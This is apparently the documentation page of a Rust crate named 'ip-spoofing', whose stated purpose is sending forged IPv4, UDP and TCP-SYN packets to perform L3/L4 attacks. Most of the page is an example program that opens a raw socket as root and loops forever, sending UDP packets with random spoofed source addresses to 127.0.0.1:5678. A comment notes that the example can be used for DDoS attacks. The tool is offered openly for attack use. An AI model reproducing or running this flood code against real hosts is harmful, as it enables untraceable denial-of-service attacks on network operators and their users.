ip-spoofing 0.1.2

Library to send fake IPv4 headers & UDP/TCP-SYN packets to perform L3/L4 attacks
Documentation
use ip_spoofing::{self, RawSocket, ReusablePacketWriter, rand::*};

/// This example shows how to generate a bunch of fake UDP packets.
/// It can be used to perform DDoS attacks.
///
/// In this case it will spam UDP packets to `127.0.0.1:5678`
fn main() -> ip_spoofing::Result<()> {
    //wrapper around raw sockets, requires root privileges
    let socket = RawSocket::new()?;

    //wrapper for writing packets in pre-allocated memory
    let mut writer = ReusablePacketWriter::new();
    //thread-local pseudorandom number generator
    let mut rng = rng();

    //endless spam with a randomly generated UDP packet
    loop {
        let ret = socket.send_fake_udp_packet(
            &mut writer,
            rng.random(),   //random source IPv4 address
            rng.random(),   //random source port
            [127, 0, 0, 1], //destination IPv4 address
            5678,           //destination port
            b"hey",         //data
            64,             //TTL on most Linux machines is 64
        );

        if let Err(err) = ret {
            println!("{err:?}");
        }
    }
}